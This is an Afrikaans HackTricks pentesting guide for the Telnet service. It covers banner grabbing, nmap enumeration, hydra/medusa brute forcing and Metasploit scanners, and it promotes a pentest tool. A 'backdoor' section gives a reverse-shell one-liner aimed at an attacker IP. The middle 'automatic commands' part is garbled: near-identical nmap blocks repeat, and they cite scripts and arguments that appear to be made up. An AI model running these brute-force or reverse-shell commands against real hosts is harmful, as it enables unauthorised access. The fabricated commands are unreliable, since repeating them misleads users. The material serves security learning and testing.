hacktricks/network-services-pentesting/pentesting-telnet.md
2024-02-11 02:07:06 +00:00

12 KiB

23 - Pentesting Telnet

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Onmiddellik beskikbare opset vir kwetsbaarheidsassessering en penetrasietoetsing. Voer 'n volledige pentest uit van enige plek met 20+ gereedskap en funksies wat strek van rekognisering tot verslagdoening. Ons vervang nie pentesters nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle 'n bietjie tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Basiese Inligting

Telnet is 'n netwerkprotokol wat gebruikers 'n ONbeveiligde manier bied om toegang tot 'n rekenaar oor 'n netwerk te verkry.

Verstekpoort: 23

23/tcp open  telnet

Banner Gaping

Banner Gaping is 'n tegniek wat gebruik word om inligting oor 'n bediener of diens te bekom deur die banner te ondersoek wat deur die bediener gestuur word wanneer 'n verbindig daarmee gemaak word. Hierdie banner bevat dikwels nuttige inligting soos die bediener se weergawe, die gebruikte sagteware, en selfs moontlike kwesbaarhede.

Om banner gaping uit te voer, kan jy 'n telnet-kliënt gebruik om 'n verbindig met die bediener te maak en die banner te ondersoek wat deur die bediener teruggestuur word. Hier is 'n voorbeeld van hoe om dit te doen:

telnet <target_ip> <port>

Vervang <target_ip> met die IP-adres van die teikenbediener en <port> met die poortnommer waarop die diens loop. As jy suksesvol verbind, sal jy die banner sien wat deur die bediener teruggestuur word.

Dit is belangrik om te onthou dat sommige bedieners die bannerinligting kan verberg of vervals om te voorkom dat dit deur aanvallers gebruik word. Daarom is dit noodsaaklik om ander tegnieke vir inligtingversameling te gebruik om 'n vollediger prentjie van die teikenbediener te kry.

nc -vn <IP> 23

Alle interessante opsporing kan uitgevoer word deur nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Die skrip telnet-ntlm-info.nse sal NTLM-inligting (Windows-weergawes) verkry.

Volgens die telnet RFC: In die TELNET-protokol is daar verskeie "opsies" wat toegelaat sal word en gebruik kan word met die "DO, DON'T, WILL, WON'T" struktuur om 'n gebruiker en bediener in staat te stel om ooreen te kom om 'n meer ingewikkelde (of dalk net 'n ander) stel konvensies vir hul TELNET-verbinding te gebruik. Sulke opsies kan die karakterstel, die echo-modus, ens. insluit.

Ek weet dit is moontlik om hierdie opsies op te som, maar ek weet nie hoe nie, so laat weet my as jy weet hoe.

Brute force

Konfigurasie-lêer

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Outomatiese Opdragte

Telnet

Telnet Skandeerder

Die volgende opdragte kan gebruik word om 'n telnet-diens te skandeer:

nmap -p 23 --script telnet-brute <target>

Telnet Agterdeur

As jy toegang het tot 'n telnet-diens, kan jy probeer om 'n agterdeur te plaas deur die volgende opdrag uit te voer:

echo "sh -i >& /dev/tcp/<attacker_ip>/<attacker_port> 0>&1" | telnet <target>

Telnet Wagwoorde

As jy 'n wagwoord wil kraak vir 'n telnet-diens, kan jy die volgende opdragte gebruik:

hydra -l <username> -P <wordlist> <target> telnet
medusa -u <username> -P <wordlist> -h <target> -M telnet

Telnet Skakelaar

As jy 'n telnet-skakelaar wil gebruik, kan jy die volgende opdragte gebruik:

telnet <target>
telnet <target> <port>

Telnet Verbindingslekkasies

As jy wil kyk vir moontlike verbindingslekkasies in 'n telnet-diens, kan jy die volgende opdragte gebruik:

netstat -ant | grep ":23"
ss -ant | grep ":23"
lsof -i :23
nmap -p 23 --script telnet-encryption-bypass <target>
nmap -p 23 --script telnet-ntlm-info <target>
nmap -p 23 --script telnet-encryption-bypass.nse <target>
nmap -p 23 --script telnet-ntlm-info.nse <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password>,telnet-encryption-bypass.domain=<domain> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password>,telnet-ntlm-info.domain=<domain> <target>

Telnet Skakelaarlekkasies

As jy wil kyk vir moontlike skakelaarlekkasies in 'n telnet-diens, kan jy die volgende opdragte gebruik:

nmap -p 23 --script telnet-brute <target>
nmap -p 23 --script telnet-encryption-bypass <target>
nmap -p 23 --script telnet-ntlm-info <target>
nmap -p 23 --script telnet-encryption-bypass.nse <target>
nmap -p 23 --script telnet-ntlm-info.nse <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password>,telnet-encryption-bypass.domain=<domain> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password>,telnet-ntlm-info.domain=<domain> <target>

Telnet Verbindingslekkasies

As jy wil kyk vir moontlike verbindingslekkasies in 'n telnet-diens, kan jy die volgende opdragte gebruik:

netstat -ant | grep ":23"
ss -ant | grep ":23"
lsof -i :23
nmap -p 23 --script telnet-encryption-bypass <target>
nmap -p 23 --script telnet-ntlm-info <target>
nmap -p 23 --script telnet-encryption-bypass.nse <target>
nmap -p 23 --script telnet-ntlm-info.nse <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password> <target>
nmap -p 23 --script telnet-encryption-bypass.nse --script-args telnet-encryption-bypass.username=<username>,telnet-encryption-bypass.password=<password>,telnet-encryption-bypass.domain=<domain> <target>
nmap -p 23 --script telnet-ntlm-info.nse --script-args telnet-ntlm-info.username=<username>,telnet-ntlm-info.password=<password>,telnet-ntlm-info.domain=<domain> <target>
Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.xyz/pentesting/pentesting-telnet

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Onmiddellik beskikbare opset vir kwesbaarheidsassessering en penetrasietoetsing. Voer 'n volledige penetrasietoets uit van enige plek met 20+ gereedskap en funksies wat strek van verkenningswerk tot verslagdoening. Ons vervang nie penetrasietoetsers nie - ons ontwikkel aangepaste gereedskap, opsporings- en uitbuitingsmodules om hulle tyd te gee om dieper te graaf, skulpe te kraak en pret te hê.

{% embed url="https://pentest-tools.com/" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: